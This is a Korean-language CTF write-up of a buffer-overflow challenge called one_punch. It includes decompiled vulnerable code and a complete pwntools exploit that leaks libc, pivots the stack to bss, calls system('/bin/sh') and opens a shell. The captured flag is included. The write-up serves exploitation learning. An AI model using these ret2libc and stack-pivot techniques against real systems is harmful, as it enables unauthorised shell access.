100 BOFs, 100 UAFs, 100 Race cons and a 10 km ROP chain, EVERY SINGLE DAY!!!
netcat.deadsec.quest 31794
Author: Goldenboy
Analysis
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| void __fastcall vuln() { char garou[100];
if ( strcmp(key, mapped_region) ) { puts("Two punch man? lameeeeee"); exit(420); } memset(mapped_region, 0, 0x15uLL); mprotect(mapped_region, 0x1000uLL, 1); fflush(stdout); gets(garou); }
|
main으로 다시 돌아오는 것이 힘들어보여 bss영역에 페이로드를 입력받아 이를 활용하기로 했다. bof가 gets
함수를 통해 터져주니 입력 사이즈 제한도 없어서 좋다.
bss 영역에 system
함수를 실행시키기 위한 rop payload를 저장시킬 때 중요한 점은 system
함수는 스택을 많이 사용하니 넉넉한 공간에 넣어줘야한다는 것이다. 그래서 bss + 0x700
에 rop payload를 입력 받고 rbp로 설정하였다.
참고로 문제를 풀면서 system
함수를 실행할 때 xmm
레지스터 관련한 에러가 발생했는데, 이는 stack align이 안맞아서 발생하는 것이다. rbp는 항상 16의 배수여야 한다.
Solve
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import *
context.arch = 'amd64' context.log_level = 'DEBUG'
p = remote('netcat.deadsec.quest', 31794) e = ELF('./one_punchp') libc = ELF('./libc.so.6')
p.recvuntil('0x') e.address = int(p.recvline(), 16) - 0x1291 info(hex(e.address))
mapped_region = e.address + 0x4050 pop_rdi = e.address + 0x1291 ret = e.address + 0x101a leave_ret = e.address + 0x132f info(hex(mapped_region))
bss = e.bss() info(hex(bss))
payload = b'' payload += b'a' * 0x70 payload += p64(bss + 0x700)
payload += p64(pop_rdi) payload += p64(e.got['puts']) payload += p64(ret) payload += p64(e.symbols['puts'])
payload += p64(pop_rdi) payload += p64(bss + 0x700) payload += p64(ret) payload += p64(e.symbols['gets'])
payload += p64(leave_ret)
p.sendlineafter('?\n', payload)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts'] info(hex(libc.address))
payload = b'' payload += p64(0xdeadbeef) payload += p64(pop_rdi) payload += p64(next(libc.search(b'/bin/sh\x00'))) payload += p64(ret) payload += p64(libc.sym['system']) pause() p.sendline(payload)
p.interactive()
|
Flag
1
| dead{I_w4nn4_b3_4_s41ky0u_H3R00000000}
|